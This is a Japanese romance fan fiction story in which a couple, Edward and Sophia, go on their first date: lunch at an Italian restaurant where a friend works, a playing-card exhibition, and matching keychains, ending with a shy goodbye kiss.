エドワードは悩んでいた。
眉間の皺が標準装備になるほど、真剣に悩んでいた。
あまりに難しい顔をしているので、何事かとサークルの面々は心配した。
彼の周りだけに立ち込める重苦しい空気に耐え切れなくなり、キャサリンが特攻をかける。
｢エディ、あなた一体どうしたの？何をそんなに悩んでいるの？｣
｢あぁ、キャシーか︙︙︙︙いや、何でもないよ｣
｢何でもない訳ないでしょう。そんな黒雲背負っておいて。言わないならソフィにこの前のミス、バラすわよ｣
先日の一件もあり、エドワードは彼女に頭が上がらない。そこに加えて自分の失敗をあの子に？
冗談じゃない、とエドワードは渋々口を開く。
｢ソフィを今度デートに誘おうと思ってね。それで︙︙︙｣
｢解散｣
｢そうなると思ったから言いたくなかったのに︙︙︙︙｣
ため息をつくエドワード。ここまでの反応なんて予想通りだ。なんならテンプレでもあるだろう。
｢あら。ようやくデートね｣
バーバラがやっとか、と楽しそうに笑う。
｢良かったら相談に乗るわよ？｣
｢ありがとう。でも、僕が考えなければ意味がないから｣
｢それもそうね。頑張りなさい｣
ひらひらと手を振り、引き下がるバーバラ。代わりに、ルシルとティファニーがエドワードのそばへ寄る。
｢何を悩んでいるの？｣
｢ん？デートしたいとは思ったんだけど、あの子はそもそも外出が好きじゃないし、どうしようかなって｣
｢ソフィなら、『エディとの︙︙︙その、お出かけなら、どこでも嬉しいです』とか言いそうじゃない？｣
｢ファニーは声真似が上手いねぇ｣
見事にソフィアの声色を真似て見せた芸達者なティファニーに、エドワードは苦笑した。
｢あの子ならきっとそう言うと思うんだけど︙︙︙でもあの子が行って楽しいって思う場所じゃないと意味がないんだ。二人で楽しめないなら、それはデートじゃないでしょ？｣
わぁ、と二人が声を漏らす。
｢エディ、本当にソフィが大事なのね｣
｢勿論。当たり前でしょ？｣
やっと一緒にいられるようになった愛しい人。大事に思わない訳がない。きゃあ、とルシルは楽しそうに頬をおさえた。
｢すっごく幸せそう！！｣
このこの〜！、と二人につつかれるエドワードは、されるがままだった。ソフィアといられて、エドワードが幸せなのは事実だ。
きっとソフィアも幸せだと思ってくれていると信じて、エドワードはデートの計画を練るのだった。
＊＊＊＊＊＊
ソフィアはそわそわしていた。
場所は公園。朝早くで人が少ない広場のベンチ。一人で外にいるのに、こんなに浮足立つのは初めてだ。
一週間ほど前のことだった。
｢ソフィ、ちょっといい？｣
その日の講義を全て終え、後は帰るだけだったソフィアは、エドワードに呼び止められて振り向いた。彼がいることには、特に驚かなかった。彼はソフィアの予定を知っているからだ。
あの活動室での告白事件(あれは事件。絶対に事件だ)の日に、エドワードは自分の時間割を全てソフィアに教え、ソフィアのものも知りたがった。特に断る理由もなかったので、ソフィアは素直に全ての講義の時間を教えた。
何故かキャサリンにものすごく心配されたが、何を心配することがあったのだろう、とソフィアは今でもよく分からないままでいる。
｢はい。もう帰るだけですので｣
｢よかった｣
エドワードがほっとしたように笑う。
｢ソフィ、これ知ってる？｣
エドワードが見せたチラシは、有名なデパートが今度展覧会を特別に開催する、というものだった。
｢ここで期間限定の展示をするみたいなんだ。滅多に見られない物を世界中から取り寄せて展示してるんだって︙︙︙︙主にトランプとか｣
チラシには、海外の有名な博物館の所蔵品が初上陸、と書かれていた。その横には世界的に有名な純金で作られたトランプの写真が添付されていた。さらに展示品はなかなか興味深いラインナップで、あまり外に出ないソフィアにも見たいと思わせる物がいくつかあった。
｢面白そうですね｣
｢でしょ？一緒に行かない？一人で行くのはどうも物足りなくって｣
ソフィアは目を瞬いた。
それは、もしかして。エドワードはソフィアが気付いたことが分かったようで、にっこりと微笑んだ。
｢来週の土曜日、お昼くらいに待ち合わせしてゆっくり見ようよ。ソフィア、君と、一緒に｣
あぁ、これはデートだ。紛うことなきデートのお誘いだ。
真っ赤になった頬を隠すように、別にずれてもいない面布を直す。
｢えっと︙︙︙あの、︙︙︙エドワードさんがよければ｣
蚊の鳴くような小さな声だったが、エドワードには届いたらしい。
ぱっ、と表情が明るくなる。
｢君じゃないと意味ないんだ。OKしてくれてありがとう！｣
そう言ったエドワードの蜂蜜色の目は柔らかく輝いていて、本当に喜んでくれているのだとソフィアは理解した。
｢待ち合わせの場所と時間はまた連絡するね｣
じゃあまたと、手を振って踵を返そうとするエドワードに、ソフィアは反射的に声をかけた。
｢あ、の！｣
自分でも驚くほど大きな声が出て、思わず首をすくめるが、エドワードが振り向いてくれたので勇気と声を振り絞る。
｢ありがとう、ございます。とても、嬉しいです︙︙︙︙それと、とても楽しみ、です｣
束の間、エドワードの顔から表情が消えた。
何か変なことを言っただろうか、とソフィアの胸に不安がよぎった次の瞬間、エドワードに抱き寄せられる。
いきなり間近で感じた熱に硬直するソフィアの耳元で、エドワードが囁いた。
｢僕もだよ、ソフィ｣
先程の比ではない勢いで、顔に熱が集まるのが分かった。
ふふ、と笑ったエドワードは面布越しに頬へ口づけて、今度こそ去っていった。
今にも崩れそうな膝になんとか力を込めながら、ソフィアは頬に手を当てた。
熱い。頬だけではない。体の内側から焼かれたように、全身が熱い。自分の体がこれほどの熱を持ってることを、ソフィアは初めて知った。
彼といると、生きてきて初めてのことばかりだ。だがそれが嫌ではない。もっと知りたいとさえ思う。
｢︙︙エディ｣
呟いた声の甘ったるいこと。自分で自分の声に恥ずかしくなり、ソフィアはぶんぶんと頭を振った。
とにかく帰ろう。帰って、デートに備えて今から気合を入れて準備をしなければ。
＊＊＊＊＊＊
そうしてソフィアはここにいる。
気合を入れすぎて普段は着ないような服を購入してしまった。エドワードはソフィアが普段と同じ格好で来ようが、ジャージで来ようが気にしないだろう。しかし、エドワードとの初めてのデートに、あまりにも情けない格好なのも普段と同じ格好なのも、ソフィアが嫌だった。
あの人の隣に立つなら、それなりの装いをするべきである。
ちなみに、服装に関しての相談にはバーバラ、メアリー、ティファニーが乗ってくれた。というより、サークルの活動日に心ここにあらずなソフィアを三人が問い詰め、洗いざらい吐かせたのだ。三人とも異様に乗り気で、本当に恐ろしかった。服屋に連れていかれかけた(もちろん全力で抵抗した)時には、恐怖で泣きそうになったが、アルフレッドとレナードになんとか助けてもらった。彼女達はレナードに説得され、通販サイトで妥協したのだった。本当に彼には感謝しかない。
いつもより風が当たる頬に手をやり、ソフィアは少し眉根を寄せた。
面布はするな、せめて待ち合わせの時には絶対に外せと厳命されているのだ。
色々と落ち着かず、ソフィアは先ほどから立ったり座ったりしていた。時間に遅れることを心配しすぎて三十分以上前に着いてしまったため、非常に手持ち無沙汰なのもある。
何か気が紛れるものを、とスマートフォンを起動した時だった。
｢やぁ、ソフィア｣
｢ひゃあ！？｣
思わず飛びのき、スマートフォンを取り落とす。
｢おっと｣
それが地面に落ちる前に、目の前に立ったエドワードが救助してくれた。
｢待たせてごめんね。彼氏失格だなぁ︙︙｣
しゅんとするエドワードに、ソフィアは慌てて首を横に振った。
｢あっ、いえ︙︙︙︙さっき来たので︙︙︙｣
ソフィアの見え透いた嘘にエドワードは小さく笑い、スマートフォンを手渡してくれる。
普段の彼は、割とラフな格好をしている。Tシャツにジーンズなんて時もあるくらいだ。元が元なので素の良さが引き立つだけなのだが。
今日の彼は違う。アイボリーのスキニーパンツ、紺色のパーカーは、どことなく審判者であった彼のオフの姿を彷彿とさせた。端的に言えば、とても似合っているし格好良い。穏やかな陽光のせいではなく、頬が熱い。
｢え、エドワードさん、あの｣
｢どうかした？｣
首を傾げて微笑むエドワードは、いつもの通り急かさず、ソフィアが自分のペースで話すのを待ってくれている。それに勇気づけられて、一生懸命言葉を紡いだ。
｢あの、素敵︙︙︙︙です。いつも、素敵ですけど、今日の服もとても似合っています｣
一瞬目を見開いたエドワードだったが、すぐに柔らかくそれを細めた。
｢ありがとう。ソフィの方がもっと素敵だけどね！そういう服も似合うなんて初めて知ったよ｣
君が選んだの？と問われ、素直に首を横に振った。
｢バーバラさんと、メアリーさんと、ティファニーさんが、一生懸命考えてくださっ、て｣
｢予想通り｣
｢︙︙︙︙？｣
｢ううん！なんでもないよ｣
エドワードがにっこりと笑う。
｢次は僕に選ばせてほしいな。ソフィはスタイルも姿勢も良いからどんな服でも似合っちゃいそうだね｣
｢三人と同じこと、その︙︙︙︙言わないでください｣
そんなことないのに、と続けようとした言葉は、結局口から発されることはなかった。
｢だろうね｣
するり、と前触れもなくエドワードの手が頬に触れる。
｢僕の恋人はこんなにも綺麗だから｣
甘くとろけたように輝く瞳が雄弁に愛を囁いていて、ソフィアは思わずうつむいた。勘弁してほしい。デートが始まってもいないのに、ドキドキしすぎて心臓が痛い。
＊＊＊＊＊＊
エドワードは内心悶絶していた。
自分の恋人があまりにも可愛いから。
初デートで恋人を待たせる訳にはいかない、と待ち合わせより十五分以上早く着くように家を出たエドワードだったが、待ち合わせ場所に見慣れた姿が見えて苦笑した。
ソフィアのことだ、遅刻するとは到底思っていなかったが、彼氏の自分より早く来ているとは。半分ほどそんな気もしていたが、そこまで楽しみにされるとは恋人冥利に尽きる。
スマートフォンを見るソフィアに声をかけ、会話をしながら、エドワードはソフィのあまりの可愛さに気が遠くなりそうだった。
体の線を隠す、少し長めのニットの白トレーナーに、黒のスキニーパンツ。
普段顔全体を覆っている面布もなく、陽の下に無防備に人形のような端正な顔が晒されていた。スマートフォンを持つ手は半分ほどが袖に覆われており、いわゆる萌え袖というやつだ。
ひどい、こんなの可愛いの暴力だ。可愛さでエドワードを殺す気に違いない。誰がソフィアにこんなに可愛い格好をさせたのか。ああもう誰かなんてわかり切っているサークルの女性陣だありがとうナイスプレイ。
心の中で一息に礼を述べれば、脳裏に浮かんだバーバラ達がエールを返してくれた。線の細いソフィアに、ユニセックスなその恰好は大変よく似合っていた。黒はソフィアがあまり着ない色だが、なかなかにマッチしている。
いや待て、こんなところで悶絶している場合ではない。デートはまだ始まってもいないのだから。
なんとか冷静さを取り戻し、まずは予約したレストランへ向かう。
道々、ソフィアには面布をしてほしいとお願いした。ソフィアには『君も落ち着かないでしょ？』などと説明したが、二割は建前。
だってこの子があまりにも無防備に笑うから。だめ、そこの通行人。この子の笑顔を見るんじゃない。魅力的なのはとてもよく分かるけど、僕の恋人。絶対に渡さない。あぁもう！！そこのお嬢さんもこっちを見るな！！
気が気ではなかった。微かに頬を染めてふにゃっと笑うソフィアを見て良いのは自分だけだ。
ソフィアは少し困ったような顔をしたが、おとなしく面布をつけてくれた。少しほっとしたように息をついたのをエドワードは見逃さなかったし、エドワードもほっとした。
待ち合わせ場所からレストランはすぐだった。
住宅街の中でひっそりと営業している、知る人ぞ知る小さなイタリア料理店だ。完全個室という訳ではないが、それぞれの席がさり気なく仕切られていて、人の視線に敏感なソフィアでも落ち着いて食事ができるだろう。
｢随分とかわいらしい、お店ですね｣
少しエドワードの趣味から外れている、と思ったのかソフィアは目をやんわりと細めた。
｢味も保証するよ。入って入って！｣
ドアを開け、ソフィアを促す。ソフィアは素直に店内へ足を踏み入れた。
｢いらっしゃいませ〜！｣
｢あっ｣
ソフィアが驚いたように目を瞠る。
そう、このレストランを選んだ理由はもう一つある。
｢お待ちしておりました︙︙︙︙ふふ、ソフィアやっぱり似合ってるわ｣
楽しそうに笑うのは、ティファニーだ。
デートの下見に来た際、ここが彼女のアルバイト先だと知ってエドワードは驚いた。ティファニーも驚いていた。友人の働く店をデート先に選ぶのは、いかがなものかとは思った。だが、赤の他人が店員をやっているよりソフィアが緊張しないかもしれない。そちらに賭けてみたが、どうやら成功だったらしい。気恥ずかしそうにしてはいるが、ソフィアが肩の力を抜いたのが分かった。
｢ティファニーさん、ここでアルバイトを︙︙︙？｣
｢ええ、そうよ。可愛いお店でしょ？｣
｢はい｣
ふふ、と笑い、｢お席はこちらです｣とティファニーは踊るように案内した。
｢ところでソフィア、あなたどうして面布をしてるの？｣
｢えっと︙︙︙｣
席に着席したところでティファニーに問われ、ソフィアが困ったようにうつむく。そうか、彼女達が面布を外せと言ったのかと合点がいき、エドワードは口を開いた。
｢僕がお願いしたんだ。ソフィは僕のお願いを聞いてくれただけだよ｣
｢︙︙︙︙あらあら〜｣
ティファニーはじっとエドワードを見つめたが、すぐににこりと笑う。
｢可愛い恋人の可愛い笑顔は自分だけのもの、ってことかしら？｣
｢ご想像にお任せするね｣
微笑んだものの、図星をつかれてエドワードは内心舌を巻いた。女性というのは何故こうも鋭いのか。ご注文がお決まりになりましたらお呼びください、と定型文を口にして、ティファニーは厨房の方へ引っ込んだ。
ソフィアが、もじもじと落ち着かなげに体を揺らす。
｢︙︙少し、照れてしまいます、ね。今更ではあるんです︙︙が｣
確かに今更だ。あの騒動で、二人の仲はサークル全員の知るところとなったのだから。
｢嫌だった？｣
｢いいえ。むしろ、店員の方が、ティファニーさんで、安心しました｣
｢それなら良かった！｣
本当に良かった。一つのメニュー表を広げ、あれやこれやと選ぶ。
｢どれも美味しそうですね｣
｢気になるものはあった？｣
｢︙︙︙︙迷ってます｣
｢あはは｣
一生懸命見比べて悩む様は、ソフィアにしては珍しい。
普段のソフィアは自己主張が薄い。自分の意見が受け入れてもらえないことを恐れているためだ。何かを選ぶ時は、周りと同じものを選ぶことが多い。今日のこれは、おそらくこの子なりの甘えだ。ソフィアの『特別』であることは痺れるほどに甘美だった。
｢ゆっくり選んでね。時間はたっぷりあるから｣
そう声をかければ、きょとんと顔をあげ、ソフィアははにかんだ。
｢すみません。ありがとうございます｣
エドワードになら許してもらえると、信じ切っている顔だった。
エドワードは思う。これを見せられて、ソフィアを構わずにいられない人間がいるのかと。
ソフィアは極端だ。０か100しかない。基本的に自分の心の内には誰も入れないが、ごく少数の限られた人間には全幅の信頼を寄せる。そのごく少数の人間になるのは至難の業だ。だからこそ、この子が心を開いてくれたのならそれに全力で応えたいと思うのも、もっとその先を見たいと思うのも当然だ。現に、サークルの女性陣などはソフィアをよく構っている。今回の服装の件にしてもそうだ。
今のところ、ソフィアが親しく交流できるのはカジノの仲間達のみのようだが、この先どうなることか。まあこの子が友達が百人いるような社交的な性格になることはないだろうが、その魅力に気付く人間が出てこないとは限らない。
どうしたものか、と考え込みかけた時だ。
｢エドワードさん｣
ソフィアの声に我に返る。
｢どうかした？｣
｢いえ︙︙︙何も。エドワードさんこそ、何か考え事ですか？｣
邪魔をしてしまったならすみません。そう謝るソフィアに、エドワードは慌てた。
｢ごめんね、君のことを考えていたんだ。あんまりソフィアが可愛いから、どう守ろうかなって｣
言った後で失言を悟ったがもう遅い。つい本音が出た。いきなり守るなんて言われて喜ぶ人はいないだろう。
ソフィアが困惑したように眉根を寄せる。
｢かわいい︙︙まもる︙︙︙｣
｢ごめんね、気分悪くさせちゃって。失言だった。本音ではあるけど｣
慌てるあまり、言わなくても良いことまで口をついて出てきた。
上手くいかない、と唇をかむ。ソフィアが困った顔のまま、ウロウロと視線をさまよわせる。
その頬が色づいているのにエドワードは気づいた。
｢︙︙︙ソフィ？｣
｢︙︙バーバラさん達も、よくそう言うんです。あの方たちは、自分が少し理解できないものにも、可愛いと言っていたりするので、あまり気にしてはいなかったんですが｣
ああ、確かに女性陣は頻繁に可愛いという誉め言葉を口にする。
彼女らにとって可愛いは、本来の愛らしい以外にも、｢素敵｣とか｢憧れ｣とか｢初々しい｣とか｢守りたい｣とか色々な肯定的な意味を含んでいるらしいので、便利なものだなとエドワードは感心したことがある。
だが今回に限っては彼女達に全力で同意せざるを得ないし、審美眼は確かだ。
｢エドワードさんに、言われると、その、少し恥ずかしいんですけど、嬉しい、です｣
ぽふん、と耳まで赤く染めるソフィアを｢可愛い｣以外にどう表現しろというのか。
｢変、ですよね｣
｢ううん、全然｣
即座にエドワードは首を横に振った。
｢僕の言葉に喜んでくれてありがとう。可愛いよ、ソフィ｣
安心させるように笑いかければ、ソフィアはいよいよ俯いてしまう。
照れているだけとは分かっているが、その顔が見たい。どうか顔をあげてくれないだろうか、と口を開きかけたが、
｢ご注文はお決まりですか？｣
ティファニーの歌うような声が降ってきて、口ではなくメニューを開かなければならなくなった。
＊＊＊＊＊＊
色々と悩み、見比べて、ソフィアもエドワードもパスタランチセットに決めた。ソフィアはジェノベーゼ、エドワードはボロネーゼだ。
この店のボロネーゼは、ひき肉がごろごろと入った食べ応えのあるソースが美味しい。自慢の一品とのことだ。
ソフィアの方のジェノベーゼは、目にも鮮やかな緑色のソースと、ちりばめられたスモークサーモンのピンク色の対比が美しい一皿だった。
パスタを丁寧にフォークで巻いて食べているソフィアからは、普段の今にも消えてしまいそうな儚さを感じない。｢食べる｣という生に直結する行動をとっているからだろう。
小さな口を動かし、パスタを味わうソフィアの目尻は幸せそうに垂れ、時折口元に笑みが浮かぶ。なんとも美味しそうに食べる子だ。可愛い。
ソフィアが幸せそうに食事をする姿が本当に可愛らしくて、エドワードは自分の手元よりもついソフィアに視線を注いでしまった。
｢あの、顔に、何かついていますか｣
あまりにも見つめすぎていたせいか、さすがのソフィアも気づいたらしい。
遠慮がちなその声に、エドワードは笑みを浮かべて首を横に振った。
｢いや、安心したんだよ。ソフィは細いからきちんと食べているのかな、って心配してたんだ｣
その言葉に、ソフィアが眉尻を下げる。
｢そんなに細いですか｣
｢不健康って言うほどじゃないけど︙︙︙まあ細い方だと思うな｣
エドワードの返答に、ううん、とソフィアは不満そうに唸った。
｢以前よりは食べているんですが｣
｢一朝一夕でどうにかなるものじゃないしね。また食べに来よう？｣
美味しいでしょ？と聞けば、肯定が返ってくる。
｢こんなに美味しくて楽しい食事は、久々です｣
ほんのり頬を染めてはにかむソフィアの、可愛らしいこと可愛らしいこと。
全世界よ見ろ、いや嘘だ見るな。これは僕だけのものだから。
騒がしい脳内をなんとか見せまいと、エドワードはいつもより殊更気を付けて笑みを浮かべた。
｢ソフィが喜んでくれるなら、それが僕の幸せだからね！｣
｢︙︙大げさですね、エドワードさんは｣
気恥ずかしいのを誤魔化すためか、小さく口を尖らせるソフィアに、本音なんだけどね、とエドワードは心の中でつぶやいた。
セットのドルチェはティラミスだった。デザートワインの良い香りのする甘いクリームの層と、コーヒーの浸み込んだホロホロのビスケットの層が絶妙なバランスで、甘いものが好きなエドワードは大変美味しくいただいた。ソフィアも頬を緩ませていたので、きっと気に入ったのだろう。絶対にまた来よう、とエドワードは心に決めた。
食後のコーヒーで一息ついて、にこにこ笑うティファニーにお勘定を頼み、二人はレストランを後にした。
＊＊＊＊＊＊
ソフィアは幸せの中にいた。
｢あ、これが今回の目玉の一つ、純金のトランプだね。純金ともなるとやっぱり重いのかなぁ｣
｢それをこんな薄さに、しかも装飾まで均一に行うなんて︙︙︙もしかしたら神様が作ったりしたのかもしれませんね｣
｢トランプはトランプ伯爵が起源だと思っている人も多いけど、実際は呼び名がそうであるだけで古代エジプトとかインドが起源って言われるみたいだね。最有力候補は中国起源説みたいだけど。それにしても不思議だよね、イギリスとアメリカとでトランプの絵柄も全く違うし︙︙｣
口元に笑みをたたえながら話すエドワードは、いつも以上にはしゃいでいるようだ。
｢トランプ、お好きなんですか｣
そう問えば、エドワードは一瞬きょとんと目を丸くして、照れくさそうに微笑した。
｢だって、前世、君が得意としていたものでしょ？｣
ソフィアは驚いた。確かに過去のソフィア自身の得意分野はトランプ。常備していて当たり前のものでもあった。そんな身近だったものを今、この現世においてエドワードは興味を持って調べていたりしたというのか。一生懸命資料を読んでトランプへの見解を深める彼を想像して、胸の奥が甘く絞られるような感覚を覚えた。
なるほど、これが胸キュンとやらで、おそらくギャップ萌えというやつだろう。
『デートの予習にはこれが必須と言うだろう？』
との一言でメアリーに渡された少女漫画を読まされた時には分からなかったが、今なら分かる。とてもよく分かる。それもこれも相手がエドワードだからだろうなあ、とソフィアは面布の下で口元が緩むのを感じた。
ソフィアにとって展覧会とは、学校の行事に集団で行くものだった。騒がしいし、展示品の周りには沢山人がいてゆっくり見られないし、班行動ではいない者にされる。苦痛を感じる場所、という印象が強い。
今エドワードと共に来て、その印象はあっさり覆った。
記憶にあるよりも遥かに静かだ。明るすぎることもないので落ち着く。他人はいるが、彼らの目は展示品に向いている。自分への視線を感じないので、息が詰まるような緊張は薄かった。
何より、隣にはエドワードがいる。
展示品についての感想や、関連する豆知識、友人達が見たらどう思うかなど、他愛のないことを喋った。ソフィアは話すことが得意ではないので、お世辞にも饒舌とは言えなかったが、エドワードはソフィアが言葉を選んで自分の意見を述べるのを、ゆっくりと待ってくれた。そして話しかける時も、低く落ち着いた声でソフィアが相槌を打ちやすいような話題を選んでくれた。
ただただ穏やかで、平和で、ああ、これが幸せというものなのだと、少しだけ涙ぐんでしまったことに、エドワードが気づかなかったと信じたい。
ゆっくりじっくり、隅々まで展示品を眺め、細かい解説を読み込み、心ゆくまで展示品を堪能して、売店までやって来た。
｢ソフィ、何か買うものはある？｣
エドワードにそう聞かれたので、ソフィアは頷いた。
｢レナードさん、に、何かお土産を、と頼まれていて｣
半分本当だが、飽くまで建前だ。ソフィアは、こっそり今日の記念の物を買おうと思っていた。初デート記念、なんて、女々しすぎる気がして、エドワードにさえ言うのが恥ずかしい。エドワードがほほ笑む。
｢じゃあ行こっか。僕もバーバラ達にお土産を頼まれているんだよね｣
お菓子で良いかなぁ、面白いものがあるといいな、とエドワードは楽しそうだ。ソフィアは最初に目についた菓子缶を手に取った。なんだかんだ甘いものが好きなレナードにはこれで良いだろう。
本命の記念はどれにしよう、とキョロキョロ見渡して、ふとある物が目に入った。ステンドグラスを模した、光に透けるトランプ型のキーホルダーだ。そしてその横には彼の得意分野であった、ダイス型もあった。きらきらと色鮮やかで、こういうところの土産物にしては、綺麗で大人っぽいデザインのように思えた。
｢わぁ、綺麗なキーホルダーだね｣
キーホルダーを注視していたために、エドワードが傍に来ていたことに気づかず、ソフィアは飛び上がりかけた。寸でで抑えたのは、周囲に人がいると辛うじて理性が囁いたからだ。
｢あの、エドワードさん、こういうの、お好きですか｣
バクバクと鳴る心音をごまかして聞けば、エドワードは微笑んだ。
｢キーホルダーを欲しいと思ったことはあんまりないけど、これ良いね｣
手を伸ばし、エドワードがキーホルダーを二つ、トランプ型とダイス型を手に取る。
︙︙︙︙二つ？
｢えと、エドワード、さん｣
そんなに沢山？、と問う前に、エドワードが口を開く。
｢君が嫌ならやめるけど、おそろいにしようよ！同じ種類だけど、ぱっと見おそろいって分かりづらいし。今日の記念にさ！｣
うーん、女々しかったかな？、と少し顔の赤いエドワードに、ソフィアはぶんぶんと首を横に振った。
｢あの、実は、記念が欲しくて、これを見てて︙︙︙その、エドワードさんが、よければ｣
｢ありがとう
｣
ふわりと優しく笑うエドワード。
記念どころか、まさかお揃いの物まで買えてしまうとは。想像だにしていなかった幸福に、ソフィアはなんだか眩暈までしてきた。これがいわゆる『バカップル』というやつなのだろうか。まあ、馬鹿にする者はいくらでもすれば良いと思う。エドワードが良いなら、ソフィアだってそれで良い。
｢じゃあ会計してくるね｣
キーホルダーを二つ手にしたままレジへ向かうエドワードを、慌てて呼び止める。
｢ま、ってください。おかね︙︙︙｣
｢僕が君に贈りたいんだけど︙︙︙だめ？｣
その甘い声に、ソフィアは流されるまま頷きかけて辛うじて首の動きを止めた。だめ。流されない。
｢︙︙︙プレゼント、したいです｣
自分がプレゼントしたものを恋人に持っていてもらいたい、と思うのはなんらおかしくないはずだ。ううん、と顎に手をやったエドワードは、ややあってぽんと手を叩いた。
｢じゃあ︙︙︙ダイス型のを君が、トランプ型のを僕が買って、お互いプレゼントするとかどう？｣
そこが妥協点だろう。ソフィアはうなずき、エドワードからダイス型のキーホルダーを受け取った。
会計を済ませ、売店から離れたところで、お互いの買ったものを交換する。
よく考えてみたら滑稽だ。お店から出た直後にそれぞれ買ったものを交換するなんて。トレーディングでもあるまいし、とソフィアは冷静な頭の隅でふとそんなことを思った。しかし、エドワードが早速キーホルダーを鍵に付けているのを見て、どうでも良くなった。よく分からないものこそ、恋愛なのだろうを
デパートを出れば、陽はだいぶ傾いていた。
随分と長居をしたものだ。あまりに楽しかったので、時間を忘れていた。本当に楽しい一日だった。お礼を言わなければ。
｢エドワードさ｣
｢あの！｣
媚びているということがすぐに分かる声色がソフィアの言葉を遮った。
｢すみません、道に迷っちゃって︙︙︙｣
｢駅までつれてってもらえませんか？｣
振り向けば、二人の女性が立っていた。
綺麗に染めた腰あたりまでの髪に、可愛らしい化粧。お淑やかな服と華奢な靴は、女性という言葉を人がたにしたら、こうなるのだろうな、と思わせるようだった。
美しく巻かれた睫毛に縁どられた目が、ソフィアとエドワードに向けられている。まるで値踏みをするかのような、見ず知らずの他人の不躾な視線に、自然と体が強張った。ソフィアが動けなくなったのを察してか、エドワードが女性達とソフィアの間に体を滑り込ませる。
｢駅までの道なら、たしか案内が出ていたと思うからそう難しくはないんじゃない？｣
エドワードの口調は丁寧だったが、普段の彼からは考えられないほどぞんざいで冷たい答えだ。
｢スマホはさすがに持ってるでしょ？地図アプリか何かで調べれば人に聞くより分かりやすいよ｣
｢でも︙︙︙私達方向音痴で︙｣
｢地図見ても、分からなくなっちゃうんです｣
甘えるような高く柔らかい声が耳障りだった。バーバラやティファニーも似たような高さの声なのに、彼女らと違い、目の前のこの二人の声はどうにもソフィアの神経を逆なでする。
｢それなら交番へ行けばいいんじゃない？僕達もこの辺に住んでるわけじゃないから道に詳しくない｣
｢えぇ、でも︙交番の場所が分かんなくて｣
ソフィアを隠している分、エドワードが二人から見られているのかと思うと、ソフィアはなんだか吐き気がしてきた。
やめて。関わらないで。近づかないで。今日は、エディと一緒に来ているのに。
｢お願いしますっ！｣
細い手がエドワードの腕に伸ばされたのが限界だった。
エディをとらないで！
女性の手がエドワードに触れる前に、反対側のエドワードの腕を掴み、ソフィアは駆け出した。
｢えっ？｣
｢はぁ？｣
二つの戸惑ったような声を気にしている暇はなかった。無我夢中で駆ける。こんなに走ったのは何時ぶりだろうか。呼吸も苦しいし、足が縺れそうだ。
どこをどう走って来たのか、もう元の道もよく分からないところまで逃げてきて、ソフィアはようやく足を止めた。急に走ったので、脇腹は痛いし足も震えている。面布で遮られた呼吸が苦しい。面布を取って、荒く息をつく。
ソフィアに手を引かれるまま走ってきたエドワードが、咳き込むソフィアの背中を撫でてくれた。
｢大丈夫？ゆっくり息して。もう大丈夫だからね｣
ソフィアと違い、エドワードには余裕があるようだった。
｢ごめんね、もっと早くに離れれば良かった。ソフィを怖がらせちゃったね｣
眉を下げて謝るエドワードに、ソフィアは首を横に振った。
｢違う︙︙︙んです｣
怖かったのではない。他人の視線は未だに恐ろしいが、今回はそうではない。丸まる背を懸命に伸ばし、エドワードをまっすぐ見つめる。
｢︙︙︙多くのものは、いりません。あまり、欲しいと、思わないんです｣
でも、とソフィアは懸命に言葉を紡いだ。
｢エドワードさんだけは、違います。エドワードさんだけは、誰にも、渡せません。他の何を、どう諦めても、エドワードさんだけは、ダメなんです｣
蜂蜜色の目を見開いてエドワードはただソフィアの言葉を聞いている。
｢エドワードさんさえいれば、それだけで、幸せになれます｣
あんな媚びるような声でエドワードに話しかけるのも、流し目でエドワードを見るのも、誘うような手つきでエドワードに触れるのも、我慢がならなかった。だって彼は僕の恋人だ。彼に選ばれたのは自分なのだ。赤の他人になわて触れさせたくないのに。
ソフィアが息をつくと、エドワードは顔を手で覆った。
｢ちょっと待ってよ︙︙︙︙とんでもない殺し文句だよ、それ︙︙｣
手の隙間から見える顔は、夕日のせいではなく、赤く染まっていた。
＊＊＊＊＊＊
エドワードは、愛おしくて仕方がなかった。
あの、何にも執着していませんといった風情のソフィアが！こんなに熱烈な告白をしてくれるだなんて！
これが幸いでなくてなんだというのだろう。溢れる情動をどうにか飲み下し、顔から手を下ろす。走ったためか、はたまた感情を爆発させたせいか、うっすらと涙の滲むソフィアの目元に手を滑らせた。
｢泣かないで、ソフィ｣
｢泣いて、ないです｣
涙声のソフィアの言葉に説得力はない。エドワードは小さく笑って、その目元に口づけた。張力の限界を迎えた涙の粒が頬を滑り落ちるのを、指で拭う。
｢ありがとう、僕を君のものだと思ってくれて。嬉しいな｣
｢︙︙重たく、ない︙︙︙︙ですか｣
それは、この子の愛が、ということだろうか。
エドワードは低く笑った。
｢僕の方がよほど重いみたいだよ｣
マイケル、レナード、キャサリンに散々言われたので、自分のソフィアへの愛が、客観的に見るとかなり重いということをエドワードは知っている。自覚はあまりないが。
ソフィアの涙と呼吸が落ち着くのを待って、エドワードはその手を握った。決して君を離さない、傍にいる、そういう気持ちが伝わるように、しっかりと。
｢そろそろ行こっか。家に帰るまでがデートだよ｣
ソフィアは頷いた。沈み切る前の夕陽に輝く蜂蜜色の瞳が美しかった。
＊＊＊＊＊＊
エドワードの家の最寄り駅からの帰途に、ソフィアの家があるのは幸運だった。エドワードに家まで送らせてくれることに、ソフィアが納得してくれる。デパートの最寄駅に着く頃に一度離れてしまっていた手は、家の最寄り駅を出たところで再び繋がれていた。どちらからともなく手が伸ばされたのが、エドワードは嬉しかった。
ソフィアが自分を求めてくれている。伸ばした手を拒絶されないと、エドワードを信じてくれている。
途方もなく幸せで、調子に乗って指を絡めたが、ソフィアは拒まなかった。
あぁ、勘弁してほしい。一体今日で何度惚れ直させるつもりだろう、この子は。
他愛のない話をしていれば、あっという間にソフィアの家だ。離れがたそうにエドワードを見やって、それでもソフィアはゆっくりと手を離した。
｢今日は、本当に、ありがとうございました。とても、とても楽しかった、です｣
表情でも感謝を伝えるためか、ソフィアが面布をとって微笑む。
｢僕こそありがとう、とても楽しかった｣
全ての思いを込めてそう答えれば、ソフィアの頬がふわりと色づいた。
｢またどこかに遊びに行こうね！あ、君が良ければだけれど｣
｢ぜひ｣
行きましょう、とソフィアにしては強い口調は、心の底からの言葉だとどんなに鈍い人間でも分かるだろう。
｢じゃあ、また大学で！｣
最後にキスを、と伸ばした手を、ソフィアがとる。何を、と思う間もなく、素早く近づいたソフィアの顔が眼前に迫った。それと同時に、唇の端に柔いものが触れ、一瞬で去っていく。
これほどまでに赤くなるだろうか、というほど顔を赤くしたソフィアは、呆然とするエドワードの手を離して俯いた。
｢む、難しい、ですね。場所が、ずれました｣
